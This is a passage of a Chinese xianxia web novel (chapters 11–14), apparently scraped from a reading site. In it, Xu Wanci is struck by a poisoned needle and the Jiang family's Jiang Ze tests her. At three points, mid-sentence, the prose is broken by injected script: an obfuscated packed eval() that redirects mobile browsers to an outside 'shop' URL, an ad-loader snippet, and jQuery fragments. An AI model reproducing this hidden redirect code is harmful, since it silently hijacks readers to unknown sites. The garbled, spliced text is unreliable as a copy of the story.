她不是不怕疼,她只是更想活着。 换了一个世界也好,换了一个身体也罢,她都只想好好活着。 她忽然想起了原主在原著中的结局。 原主在被废去修为时,暴露了体内墨霜圣兰的存在。 随后她被楚青川耗尽了所有的骨血,却依旧留着一条命,苟延残喘着被扔去了混沌。 而从原主骨血中提取出来的这株墨霜圣兰,也用在了他自己身上。 原主明明有那样好的气运,可就像是命中注定一般,她的所有,都化成了楚青川往上走的垫脚石。 而原主,只能怀着对楚青川偏执的爱慕走向消亡。 所以一开始在执法殿中,她根本不敢透露墨霜圣兰的存在。 因为她知道,这只会加速她的死亡。 她占了原主的身体,没有立场去评价原主的对错。 可毕竟原主是真的伤了江秋宁。 而她这几日对自己的伤害,也只是为了活下去,与江秋宁无关。 所以她并没有只是取出墨霜圣兰,而是让墨霜圣兰和江秋宁相融合。 不只是因为她需要摆脱墨霜圣兰,不只是因为她需要了结原主的因果,也是因为歉意。 歉礼自然要受害者亲自收下,更合理,也更有诚意。 不是么? 许晚辞翻身下床,平静而淡然地一步一步走出了门。 不知是不是前几日段子惟的动作,院子里的许多灵植,现在看起来枝繁叶茂,欣欣向荣。 一旁的幻颜树也茂盛了许多,落叶都多了几分潇潇的灵气。 许晚辞在树前站定,垂眸遮住眼中一闪而过的晦暗。 她伸出左手,葱白纤细的手指轻轻地触碰幻颜树粗壮的枝干,灵气运转。 感受到幻颜树只是灵气旺盛稍许,并无升阶迹象后,她微不可查地松了一口气,终于有时间思虑其他。 经过昨天她从骨血中生挖墨霜圣兰一事,江秋宁对她的印象大抵已经改观。 江家自然也不会对她动手。 接下来,她也应该找个理由,把修炼一事提上日程。 就在她想收回触碰幻颜树的手时,忽然感觉身后传来一种让人汗毛耸立的威胁感。 随后,一根带着寂灭气息的灵针,悄无声息却又威胁感十足地,向她疾驰而来。 一时间周围的一切都被凝固,只剩下了身后这根灵针的存在。 下一瞬,这根灵根就能破开她的胸口,带走她的性命。 许晚辞的心跳错乱了一瞬: 谁要杀她?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968227|147016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江家? 太清宗弟子? 还是原主曾经得罪过的修士? 此人根本没有遮掩自己的意图,她分外明显的感觉到了灵针在向她一寸一寸逼近。 这种极致的威胁感,甚至超过了执法殿的两位长老。 太清宗宗主在她身上留下的防御法器,真的能抵挡这样的杀招么? 本能在疯狂地叫嚣着让她赶紧逃,赶紧闪开。 不能躲!!! 许晚辞用尽全力忍住了闪躲的本能,一点一点地放缓自己的呼吸。 如今,她给所有人的感受都是一心求死。 所以,她绝不能躲。 不管想杀她的人是谁,不管这次的袭击有多危险,她都不能躲。 不躲,她活的概率是三成;若是躲,她死的概率是十成。 她不仅不能躲,还不能表现出一点不对。 只是入戏而已,她已经在生死之际做到过无数次,这次也依然可以做到。 一瞬间,许晚辞的目光变得柔和温软。 她左手指尖轻触着幻颜树的枝干,不知是想起了什么,唇角扬起了一抹清浅的笑意。 她感受着身后威胁一寸一寸逼近,动作依旧轻柔得不带一丝灵气。 就在灵针距她只有半寸时,她身上忽然爆发出了一阵耀眼的金光。 可金光却以肉眼可见的速度逐渐湮灭。 三息后,银针便再也没有了阻拦,破竹一般朝着许晚辞的心脏而去。 而此时,被袭击的人非但没有一丝动作,垂眸间眼中似乎还多了几分期许。 就银针已经要刺破外衣时,一声微不可查的轻嗤响起。 与此同时,声音的主人一挥手,一道寒冰一般的灵气破空而去,与银针对撞在一起。 银针改变了方向,险之又险地与许晚辞擦身而过,朝着她身前幻颜树无声而去。 宁孟澜在察觉到留在许晚辞身上的防御法器被触动后,便飞速赶来。 他看着这幅场景,觉得自己心跳都有些失衡。 每日恨不得来万剑锋三次的段子惟也见证了全程,拿着储物袋的手不断颤动: 只差一点,许晚辞就…… 就在所有人都松了一口气的时候,本来已经安全的许晚辞不知为什么,毫不犹豫地抬起了左手,挡在了银针前进的方向。 银针刺入皮肤的声音极轻,可在他们耳中却如同雷霆一般。 鲜血一瞬间,就将许晚辞的袖口染成了红色。 门口的段子惟瞳孔蓦然收缩,在这一瞬间,他第一次觉得红色如此让人恐惧。 可许晚辞面色依旧平静淡然,她根本没有看伤口一眼,只是下意识地看向身前的幻颜树。 看到幻颜树毫发无损后,她松了一口气般后退一步。 随即,不知想起了什么,她微微垂眸,笑得自嘲而苦涩。 看着她的表情,段子惟好像再也撑不住手中的重量,手心一松,储物袋散落了一地。 一瞬间,他好像明白了她这样做的缘由,内心的复杂情绪不断上涌: 那……不是那个人。 那……只是一棵树。 一个他随时都能给她成百上千棵的……幻颜树。 11.第 11 章 段子惟看着许晚辞顺着左手一滴一滴坠落的鲜血,再也无暇顾及其他。 他猛地冲上前去,想要为她疗伤。 许晚辞看着段子惟盯着她左手,快步朝她走来的身影,缓缓地眨了眨眼睛,第一次看向了自己受伤的左手。 鲜血已经将她的袖口浸透,浅色的蓝衣被染得通红,一滴一滴地鲜血,在地面坠出了一个小小的血坑。 看到这幅场景,她的面色依旧没有什么改变。 甚至在段子惟伸出手来想要触碰她伤口时,淡然地把左手后撤。 她声音平淡:“只是小伤。” 段子惟倏地抬起头,眼中带着隐忍的怒气,一字一句道: “只是小伤?” 她身体里的血都快要流尽了。 却只得到了她一句轻飘飘的只是小伤。 她知不知道,再这样继续下去,她说不定会失血而亡! 可是—— 想起这段时间内,许晚辞的作为,他无力地垂下了头: 或许,这才是她一直期待的吧。 他的眸色,慢慢暗了下来。 这时,他第一次察觉到了自己心中的嫉妒。 那个人……到底有哪里好, 值得她……死生相随? 他沉默地从储物玉佩中拿出止血的灵药,抬眸时,他轻声问道: “你不是说不需要了么?” “这棵树。” 那日他想用灵宝让这棵树升阶时,她明明告诉过他,不需要了。 既然已经不需要,又为什么要为它做到这种地步。 许晚辞后撤的左手蓦然一顿,连什么时候左手被段子惟抓过去了都没有察觉。 沉默了一瞬后,她的声音听不出什么情绪: “只是习惯了。” 一百年啊。 这一百年太过漫长,漫长的好像没有边际。 而与他有关联的事物太少,少的她连一棵幻颜树,都当做了回忆,不舍得放开。 段子惟手中的动作一顿,他忍着内心的酸涩,把灵药融入了许晚辞的伤口。 他刚想说些什么,就看到伤口处血依旧止不住地下流。 他蓦然睁大了双眼,再也无暇顾及其他。 他声音无措: “为什么会这样,定雪竹明明是修仙界中最能止血的灵植,它怎么可能……” 止不住血。 这个时候,宁孟澜低沉地声音蓦然响起: “这是修仙界最令人闻风丧胆的毒器之一,玄冥针。” “一旦被玄冥针的银针击中,会血尽而亡。” “修仙界中的灵植丹药都没有什么作用,只有玄冥针自带的仲针才是解药。” 说到这里,他微微侧头,看向站在门口的人,声音带着隐忍的怒气: “墨泽少尊还准备站在那里看多久?” 段子惟闻言猛地向门口看去。 那是一个一旦察觉到,就再也无法忽视的身影。 他一身墨色玄袍,面色冷峻,即使面对太清宗宗主的质问,也不过是眉梢微挑,眸中除却一片寒意,再无任何情绪。 他周身气质内敛,却让人感受到极致的危险,只是站在那里,便让人胆战心惊,不敢擅动。 那是……江泽。 江家上一代中最出众的天才,五百岁便已大乘的墨泽少尊。 似是察觉到了段子惟的视线,江泽向他的方向投来淡淡一瞥。 只是一眼,就让段子惟呼吸停滞,下意识移开了视线。 若是江泽想要伤害许晚辞,他根本连抬手制止都做不到。 这就是……极致的实力压迫吗? 江泽根本没有在意段子惟。 他看着许晚辞从始至终没有抬头,好似一点都不担忧自己身体的模样,漠然地移开了视线。 他一挥手,一道墨色灵气朝着一个方向呼啸而去。 下一瞬,一个隐匿在半空中的身影蓦然暴露。 他单膝跪在江泽身前,左肩鲜血涌动,血流如注,看起来比许晚辞还要凄惨上几分。 江泽看都没有看他一眼,只是对着宁孟澜拱手道歉: “江七得知秋宁受伤后,便自作主张前来为秋宁报仇,让宁宗主和——” 他淡淡地扫了一眼依旧血流不止的许晚辞,继续道:“这位道友受惊了。” 宁孟澜听到他轻描淡写的道歉,一挥衣袖,冷冷道: “江少主已经收到歉礼,原谅了许晚辞。” “我竟不知江家如此看不上墨霜圣兰,在得到它后,依旧不依不饶。” “宁宗主误会了。”江泽声音淡漠,不甚走心的解释,“既然是自作主张,那江家自然不知情。” 说完后,他接着一挥手,又是一道灵气穿透了江七的右肩。 “如此处置,宁宗主可满意?” 仿佛只要宁孟澜回答不满意,他就能接着不紧不慢地在江七身上划上个百八十刀一般。 宁孟澜看着许晚辞比那日在若虚峰时还惨白上几分的脸色,再也无暇和江泽多言。 他咬着牙一字一句道: “满意。” “这下少尊可以帮我太清宗弟子疗伤了么?” 江泽微微颔首,他身前的江七便挣扎着爬起身来,把玄冥针的仲针传到了段子惟身前。 段子惟接住针后,抬头看了宁孟澜一眼,看到他点头后,这才低头用仲针化在了许晚辞的伤口处。 看到许晚辞伤口渐渐止血后,宁孟澜心中松了一口气。 他转过身,看着江泽冷郁的面容,深吸一口气道: “不知墨泽少尊来我太清宗有何贵干?” 刚才击中玄冥针的灵气,应该就是江泽所为。 所以,江泽在江七对许晚辞动手之前,就已经在这里了。 又或者,最开始的江七,也是听他之令。 他是在拿许晚辞的命,试探她。 想到这里,宁孟澜不知是想到了什么,眉头皱得更紧: 莫非是江泽也得到了什么消息? 江家啊。 他虽然已经下令封锁了许晚辞的身份,可是…… 宁孟澜若有所思地看向江泽: 他弟子楚青川最近时间的反常…以江秋宁的聪慧,她未必不能猜出什么来。 江泽没有在意他的眼神,他往前走了几步,站在了宁孟澜七步之外,分外有礼道: “听闻秋宁重伤初醒,我十分担忧,于是特来太清宗探望。” 说到这里,他再次看向不远处的许晚辞。 她依旧没有看他一眼,或者说,她根本不在意这里发生了什么,包括她自己的生死。 他蓦然想起了之前她用手挡住玄冥针的模样。 为了一棵树…… 呵。 他收回视线,继续道: “顺便前来感谢一下墨霜圣兰上一任宿主的忍痛割爱。” “原来少尊是来道谢的。”宁孟澜听到他的话,阴阳怪气道,“若是更进一步前来报恩,恐怕许 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晚辞如今命都不在了。” “如今人也见了,‘谢’也道了,本宗主便不留少尊了。” 江泽面色不改地驳回了宁孟澜的话:“方才还未来得及道谢,许道友便被江家人所伤。” “玄冥针造成的伤口,几日后仍然需要精心调养,若是现在离去,我于心难安。” 说的是于心难安,表情却冷漠如初。 在他眼中,若不是那个身份,许晚辞甚至都不值得他施舍一个视线。 无论真假,没有修士不想更进一步。 若是假的,那便毁了吧。 宁孟澜听出了他话中的含义,勉强忍住了心中的唾弃。 江泽今日都这样对许晚辞了,居然还想把她当做机缘,想了结和仙尊的因果。 真是恶心至极! 可惜太清宗不能与江家交恶…… 想到这里,他扬起了一个异常虚假的微笑:“墨泽少尊日理万机,怎好用这种事情打扰少尊。” “太清宗弟子,本宗主自当好好照顾,就不麻烦少尊了。” “宁宗主此言差矣。”江泽唇角扬起了一个细微的弧度,“玄冥针毕竟是修仙界顶尖毒器,万一伤势反复,让这位…许道友再次受伤。” “那就是我的过错了。” 宁孟澜听出了他言外之意,唇角的假笑蓦然放平。 即使知道江泽不会再伤害许晚辞,可他依旧十分警惕: “少尊即是好意,那我这就为少尊安排住所……” “不用了。”江泽看都没看周围一眼,就下定论道,“这里就很清净。” 他一挥手,一座亭台楼阁、灵山流水的房屋法器,就落在了小院不远处。 从那里,能清楚地看到许晚辞在院子里的一举一动。 收回手后,江泽没有看向宁孟澜,而是下意识地看向了站在那里,从始至终都没有看他一眼的许晚辞。 此刻她身体中依旧残留着玄冥针带来的消融骨血之痛。 可她依旧没有什么表情,只是定定地看着身前的幻颜树。 好像周围的一切,都与她无关一般。 江泽走到哪里,都一直是众人关注的焦点。 他见过很多目光,有敬畏、有恐惧、有讨好……唯独没有忽视。 他收回目光,看着刚想开口拒绝他的宁孟澜,淡然道: “吾等能有今日之安定,只因当年清衍仙尊以身祭天。” 余光中,许晚辞的呼吸蓦然停滞。 他淡然转身,看向许晚辞继续道:“以身死魂消为代价,救修仙界于浩劫之中,此等壮举,令人敬佩。” 许晚辞好像再也听不清他说了什么。 她眉头有些茫然地皱起,胸口传来的刺痛让她下意识地伸出右手。 段子惟根本不知道她与清衍仙尊的关系。 看到她的动作,他皱着眉头,一脸焦急道: “是不是左手太疼了。” 他猛地低下头,想从储物玉佩中找到止痛的丹药。 听到他的话,许晚辞像是个听话的人偶一般,把伸向胸口的手移到了左手上。 她呢喃道: “疼。” “好疼啊。” 江泽看清了她所有的动作,甚至于如今她右手触碰的地方,根本不是伤口的所在。 他轻嗤一声,转身走出了木门,步伐好似比来时,急促了一分。 想起江家主在他来之前对他说的那些话,他目光轻蔑: 情爱。 呵。 12.第 12 章 宁孟澜看着江泽潇洒离去的背影,眉头紧皱。 江泽这样漠视生死,傲慢冷漠的人。 真的要让他住在许晚辞对面么? 他看着不远处大气不失精巧的亭台楼阁,若有所思地移开了视线: 江泽对修炼一途的在意人尽皆知。 如今许晚辞是他千年难得一遇的机缘,他定不会让她出事。 哪怕是今日,他也从未想过让许晚辞受伤。 只是谁也没有想到她居然…… 想起许晚辞当时的动作,他微不可查地叹了一口气。 太清宗内知道她与仙尊之事的人并不多,他与几位长老也分身乏术,没有办法时刻盯着她的作为。 万一再有意外,有江泽在这里,也能第一时间察觉制止。 想到这里,他停下了让江泽离开的心思。 只是…… 他担忧地看向许晚辞,虽然除却第一次是她自己动手赴死,其他皆有缘由。 可问题也在这里。 她不会寻死,但也未曾求活。 若是再发生发生今日这般的意外,江泽能救下她第一次,还能救下她欣然赴死的第二次么? 宁孟澜皱着眉头,开始盘算整个太清宗有什么顶级的防御法器。 既然上一个威力不够,那他找一个半仙阶的法器,总能护住许晚辞了吧! 这时,许晚辞好似察觉到了他的视线,抬起头,对着他平静但恭敬地扬起了一个微笑。 这笑容太过熟悉,像极了之前从断魂骨中醒来后的那个微笑。 甚至连弧度都没有改变。 刚才她身上的痛苦与茫然,就好像从未出现一般。 她依旧是那个在所有人面前平静温和的许晚辞。 可是谁都清楚,这只是她的面具,面具之下的真实,是太过极致的痛苦。 以至于他们只是窥得分毫,便已不忍再看。 宁孟澜没有发现,自己对许晚辞的态度,已经从一开始偏利用的看重,变成了真切的担忧。 许晚辞根本没有在意他的态度变化,又或者说,她根本未曾在意所有人的态度。 她微微垂眸,疏离从容地对着宁孟澜行了一礼: “晚辞多谢宗主搭救。” 她还没来得及放下行礼的手,一旁回过神来的段子惟赶紧伸出双手接在了她左手下方三寸的位置,虚虚地托着她受伤的左手。 不敢触碰,却也不敢放手。 “你的伤还没好,不能……”他抬起头,看着许晚辞淡然疏离,毫不在意自己伤情的模样,垂眸咽下了后面的话。 这时,许晚辞后退一步,也对着段子惟礼数周到: “也多谢段师兄赠药。” 段子惟从来没有想到他会收到许晚辞的感谢。 因为他知晓,他做的一切都是他一厢情愿。 甚至他都觉得,他用在许晚辞身上的那些灵宝丹药,对她而言只是……阻碍。 她并无生志,只是他想让她活着而已。 想到这里,段子惟看了许晚辞一眼,看到她温和有礼,看不出丝毫伤痛的模样,他有些沉默地低下头。 “只是一些普通灵药……你没事就好。” 说完他移开了视线,一眼就看到了小院中他搬过来的桌子,再往下是他最喜欢的灵石,灵石之下是撒了万植之土的灵土。 一桩桩,一件件都出自他手。 她该不会让他把东西都收回去吧?! 想到这里,他赶紧抬起头: “我峰上的灵宝实在太多,已经装不下了!” 为了防止许晚辞开口,他慌忙后退,声音急促道: “我前几日刚送给了刘那个谁一捆灵器,还给敬丹峰送了好几储物袋灵植……” “我忽然想起来我还有点事……” 等到了门口后,他一溜烟儿地离开了万剑锋。 宁孟澜看了一眼段子惟离去的背影,咳嗽了一声道: “段家家底殷厚,这些于他而言不过九牛一毛,你不必太过在意。” 许晚辞听到他的劝慰后,微微垂眸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997064|147016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用在意么? 她漠然地看着周围换了一个样子般的小院。 在她的计划中,院子根本没有任何被改动的必要,而她身上的每一次伤,在受伤的那一瞬间,或者更早之前,她就已经有了对策。 段子惟做的一切,于她而言,毫无用处。 明明毫无用处,即使毫无用处,许晚辞的指尖,却微不可查地动了一下。 “宗主说笑了。”她声音中听不出什么感激,她只是平静道,“院中的所有,劳烦宗主代我还给段师兄。” “那些灵药……”她似是想到了什么,微微一怔,目光中有自嘲,却又带着解脱, “若是哪日我身死魂消,一身骨肉金丹倒也还算有用。” 宁孟澜听到她这话后,本来就没来得及放松的心神霎时又紧绷起来: “这可不兴给啊!” 他咳嗽了两声,摆出了一副威严的模样: “莫要乱说,以你天赋,还有数千年之光阴,何必如今就想身后事。” 许晚辞听到他的话后,微微一怔,随即略显疲惫地移开了视线。 千年啊。 宁孟澜鲜少看到她正常时候情绪外露的样子。 是啊。 千年的光阴,对于其他修士而言是恩赐,对她而言,大抵只是负累吧。 看着她眼中的倦怠,他刚想说些什么,就看到她已经恢复了平静。 她声音带着看透生死的淡然: “修仙界中危机重重,自然会有意外发生。” 宁孟澜现在听到意外两个字就胸口疼,他深吸一口气,心中只剩下了一个念头: 对啊,许晚辞如今在太清宗都能重伤。 要是出了太清宗…… 看来半步仙器的防御法器依旧不太够用! 他这就去翻他的私库,看看有没有更好的防御法器。 若是没有……那他就走量! 几十个高阶防御法器套在许晚辞身上,他就不信护不住她! 意外。 没有意外! 13.第 13 章 墨雨阁中。 江泽一身黑衣,目光淡漠地看着楼外的景色。 他身后,江秋宁一脸凝重地站在那里。 她刚刚知晓万剑锋上发生的一切。 在传信给父亲时,她便大概猜到了来太清宗的人会是谁。 千年以来,江家最具天赋的天才,她的小叔,江泽。 若说江家有一人能飞升,除他以外,再无第二人。 所以来太清宗的人,只会是他。 她以为小叔醉心修炼,在得知许晚辞的身份后,会为了因果护住她,即使小叔性格孤僻冷漠,哪怕不与她交好,也会…… 想起她方才得知的消息,江秋宁抬起头,声音带着一丝轻微但又不可忽视的谴责: “小叔,今日您在万剑锋……” “怎么?”她话还没说完,就被身前人漫不经心地打断。 他不紧不慢地转过身,寒潭一般幽深冷漠的眸子淡淡地扫了江秋宁一眼: “想来质问本尊?” “秋宁不敢。”江秋宁深知江泽的性格,即使是她的父亲,江家的家主,也不敢面对江泽时,用出质问两字。 即使她是江家少主,他也是她的长辈,地位足以与父亲平起平坐。 她深吸一口气,缓缓平复刚刚错乱的心跳。 “只是许晚辞的身份特殊,与她交好,于因果有益。” 江秋宁知道江泽最在意修炼,她只能由此下手: “若是再有今日之事发生,秋宁怕影响小叔机缘。” 江泽闻言淡漠地看了她一眼,目光依旧没有分毫波动。 他声音凉薄:“有人找死,与我何干?” “那是因为她……”江秋宁回想起这几日许晚辞身上发生的事情,声音都轻了几分,“心神受到了重挫。” “她在得知……那个消息后,剑心破碎,前几日又对自己用了断魂骨。” “断魂骨后,她还未曾休养,便从骨血之中剖出了墨霜圣兰。” 说到最后,她的声音已经带上了一丝颤抖: “今日又是玄冥针……” 她抬眸认真地看向江泽,目光是心疼,更是恳求: “她真的不能再受伤了。” 江泽听着她情真意切的话,目光冷漠中夹杂着毫不掩饰的嘲讽。 为了情爱。 呵。 愚蠢。 江秋宁听到了他的轻嗤。 她深吸一口气,只能再次从修炼一途入手:“大道机缘难得。” 她恭敬地行了一个晚辈礼:“万望小叔珍视。” “秋宁告退。” 江泽看着江秋宁就要离去的背影,突兀地开口:“你要去找许晚辞。” 江秋宁步伐一顿,心中忽然有了一丝不好的预感。 她还未曾开口,余光便见到江泽一步一步来到了她的身侧,声音好似带着微妙的恶意: “一起吧。” “我也再去见一见,我的……机缘。” 江秋宁身体一僵,她忍着慌乱道:“小叔,您今日不是已经见过……” 她一句话还没说完,就见到江泽已经走出了阁楼。 她赶紧运转灵气跟了上去。 小院中。 宁孟澜正坐在暗玉桌旁,捋着胡须和一旁的许晚辞在……尬聊。 聊天的内容不外乎: 今天天气真好,昨天天气也挺好,这桌子真好看,这木椅真精致…… 宁孟澜找话题找的心力交瘁。 他也不想这样,但是手头上四十九个的防御法器实在太多,还只能一个一个往许晚辞身上套。 他只能这样一边分散许晚辞的注意力,一边不着痕迹地往她身上套法器。 就在这时,他听到了门口传来的脚步声,顿时看救星一半朝着门口看去。 只不过看到门口的身影后,他眼中的期待一瞬间就变成了威严持重。 他并未起身,只是对着门口微微颔首:“墨泽少尊,江少主。” 江秋宁略显焦急地回了一礼,然后目光担忧地看向一旁的许晚辞。 那日在若虚峰时,她的面色已经苍白至极,让人不忍再看。 今日再见她,她不仅面色,就连袖口处露出的手腕都已经白的不带一丝血色。 身上倦意与病气交织,唇角却偏偏带着温柔淡然的笑意。 看向她时,目光安宁悠远,似乎还带着强忍的倦意,却并无一丝责怪。 江秋宁忽然感觉胸口忽然蓦然涌上一股陌生酸涩的情绪。 这是……愧疚。 许晚辞这几日的伤,皆因她起。 想到这里,她没有与身宁孟澜寒暄,而是快步走到了许晚辞身边。 离她愈近,便愈能感受到她身上的虚弱。 她身上气息已经浅淡得接近稀薄,身上的温度只是看起来,便觉冰冷,更遑论触碰。 江秋宁下意识看向她受伤的左手。 许晚辞的左手搭在暗玉桌侧,因为失血过多,看起来接近透明,像是一尊一碰就会碎的琉璃。 中了玄冥针后,即使及时得到救治,但是接下来的几日内,伤口处依旧要承受烧灼之痛。 她愧疚地闭上了双眼,声音带着一丝微不可查地颤抖: “今日许道友受伤,是江家之错,更是我之错。” “是我……未曾察觉,致使许道友重伤。”她睁开双眼,看向许晚辞,目光愧疚。 “重伤?”许晚辞茫然地眨了眨眼睛,声音带着一丝真切的疑惑。 “如今我人依旧活着,神魂还在,怎么会是重伤?” 她是真的认为这不是重伤。 除了她已经习惯的疼痛外,已经解毒的玄冥针,并没有给她带来任何伤害。 听到她的回答,江秋宁蓦然怔在了原地。 不是只有身魂重伤才是重伤。 明明这几日许晚辞身上的每一次伤,都足以让任何修士胆寒,可是她偏偏却…… 心无生志后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010088|147016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就连疼痛都不在意了么? 江秋宁蓦然攥紧了双手,右手中温热的触感让她回过了神。 她小心地把手中能解百毒的半步仙器沁阳玉放在了许晚辞身侧的桌子上,声音满是真切的歉意: “这是歉礼,还望许道友能收下。” 许晚辞看都没有看桌子上的沁阳玉一眼,她只是略显无奈的叹了口气,认真道: “我如今身上并未有恙,更未曾昏迷一息,不算重伤,也无需歉礼。” 江秋宁抬起头,蓦然对上了许晚辞的目光。 透过温柔与包容的底色,在更深之处,她见到了一片荒芜的死寂。 是啊,对如今的许晚辞而言,什么都已经不重要了。 就算众人趋之若鹜的沁阳玉,于她而言,或许只是一种阻碍。 一种让她无法得偿所愿的阻碍。 许晚辞太过温柔,温柔到活着,也不过是因为他们所有人的期望。 她不会拒绝其他人的善意和担忧,即使这对她而言,是负累。 不远处,江泽看着不远处的这一幕,轻嗤了一声。 他声音凉薄: “极北之地中有一处堕魔之地,那里能同时消磨修士的神魂和血肉……” “墨泽少尊——”宁孟澜听到他的话后,只觉得胸口抽痛,忙不迭地打断了他的话。 这许晚辞要是真的听进去了,那还得了! 这个江泽,真是—— 他心中唾骂了他千万句,表面上却依旧和气: “早就听闻墨泽少尊天资超绝,几年未见,少尊修为愈发精进,恐怕再过几百年,就有望冲击渡劫了吧。” 听到他的话,江泽终于移开了看向许晚辞的视线,淡淡道: “宁宗主过誉了。” 他天赋顶尖,又出身江家,从小便被众星捧月,走到哪里都是一片溢美之词。 这些夸赞,他从习惯到厌倦,也不过用了百年。 宁孟澜笑得虚伪又客套,或许是听了太多遍,夸赞的话不用动脑便娴熟地说了起来: “少尊真是谦虚了。” “三十年金丹,五十年元婴,百年合体,此等修炼速度,真是傲视群雄,无人能与争锋啊!” “更是只用三百年,便突破合体,晋升大乘!” “三百年!” “这种天赋,修仙界怕是千年都难遇啊!” 江泽习以为常地听着宁孟澜的夸赞,面色淡漠。 不知想起了什么,微微侧头看向许晚辞,目光带着高高在上的傲慢。 这时,许晚辞仿佛是感受到了他的视线,缓缓抬起头。 她看向他,却又并未看向他,好像只是在透过他,看向了一片虚无。 她声音叹息而悲伤: “三百年啊。” “真是好漫长好漫长的时间。” 江泽面色倏地一僵,他眼中隐晦的得色与傲慢霎时破碎: 三百年晋升大乘……漫长??!! 14.第 14 章 江泽一直以来都表现出拒人于千里之外的淡漠疏离,好似对任何夸赞吹捧都毫不上心。 可—— 天赋与修为,是他最引以为傲的东西。 即使脱离江家的声名,即使褪去他身上其他的光环,仅仅只是四百岁大乘这一点,就足以让他站在修仙界的顶峰,受万人推崇。 可许晚辞刚刚…… 三百年漫长。 江泽侧头看向许晚辞,目光中带着刺骨的寒意。 他声音低沉而缓慢:“哦?” 一旁的宁孟澜还来不及安慰许晚辞,便听到了江泽怒气隐忍的声音。 他看着江泽脸上沉了几分的神色,咳嗽了一声。 看到江泽看向他后,他才意味深长道: “当年……” 像是想起了什么,他看了安静的像个人偶一般的许晚辞一眼,隐下了那个名讳,只是轻巧地补充道,“从合体到大乘,也用了近五十年的时间。” 最后,他笑眯眯地把话题拉了回来。 “所以,少尊能在三百年内能从合体突破到大乘,已经是人中龙凤,足以傲视群雄了!” 这些话看似劝慰,其实每句话都在江泽心中狠狠插了一刀。 他自诩天赋出众,同龄人中从来都是独占鳌头。 可偏偏,有几个人,尤其是那个人,是他永远也逾越不过的高峰。 虽然为人冷漠,但大多时候都礼数周到的江泽,第一次不体面的拂袖而去,未曾有一句道别之语。 江秋宁看着江泽的背影,略显急促地对着宁孟澜和许晚辞行了一礼。 然后连忙跟了出去。 她知晓江泽本就喜怒无常,做事更是鲜少顾及后果…… 她生怕他会因为许晚辞今日之语而对她…心存芥蒂,甚至再次出手试探。 于是她赶紧对着江泽解释:“小叔,你不要误会。” “许晚辞只是单纯的感叹三百年时间之久,并未有其他含义……” 对于失去爱人的许晚辞而言,一天的时间都弥足漫长,又何况是百年、三百年? 她火上浇油的解释让江泽的面色愈发冷硬。 他淡淡地瞥了她一眼,声音冷得冻人: “你没别的事情了么?” 江秋宁眉头紧皱,她知道这时说什么都没有用,只能拱手告退。 走出五步后,她没有忍住,停住了脚步,声音很轻: “一个百年,就已经快要将她逼疯了。” “更何况三个。” 听着江秋宁的话,江泽神色淡漠,步伐却缓了一分。 小院中。 宁孟澜眼中的笑意真实而畅快,今日被江泽惹出的怒气霎时平复了许多。 江泽是天赋出众,可是纵观整个修仙界,谁又能比得上……仙尊。 想到这里,他下意识地转头看向一旁的许晚辞。 才不过几息而已,许晚辞就已经收敛好了所有的情绪。 她微微侧头,看向宁孟澜的目光恭敬却又疏远:“宗主。” 宁孟澜看出了她身上挥之不去的倦意: “晚辞啊,你今日好好休息。” 这一日,许晚辞又是被玄冥针重伤,又是被江泽江秋宁打扰。 如今诸事已毕,也是时候让她好好休息了 宁孟澜站起身就要离开。 这时,许晚辞忽然拿起了桌子上的沁阳玉。 即使努力掩饰,她的声音依旧带着一丝透骨的疲惫: “宗主,这玉佩,劳烦您帮我还给江少主。” 看着她手中的沁阳玉,宁孟澜的眉头微不可查地皱了皱。 他想的还是太少了,他只想着往许晚辞身上堆防御法器,却忽视了毒这一项。 许多时候,‘毒’比伤更恐怖。 江秋宁虽然做事不地道,但送的歉礼倒还算有用。 这时,他总算觉得江秋宁顺眼了一分。 宁孟澜一脸理所当然道:“江家既然敢用玄冥针伤你,自然要付出代价。” “你当时都伤成那个样子了,区区沁阳玉……” 他看着许晚辞不以为意,一点都没有把自己的伤势放在心上的模样,无奈地换了一个话术: “沁阳玉若是真的还回去,江少主恐怕会愧疚难安,说不定会对日后修为有碍啊。” 虽然只与许晚辞有几日之交,他却看出了她毫无生志下隐藏的温柔。 她就连……死亡都在估计其他人的感受,又怎么会让江秋宁背负愧疚与不安? 果然,他话音刚落,许晚辞拿着沁阳玉的手便垂下了几分。 宁孟澜趁热打铁道: “沁阳玉虽然珍贵,但在江家也不算什么。” “你若不喜欢,随手放在储物袋里便是。” 许晚辞感受着手中沁阳玉的温热触感,目光带着一丝无奈。 她微微垂眸,妥协地拱手: “是。” * 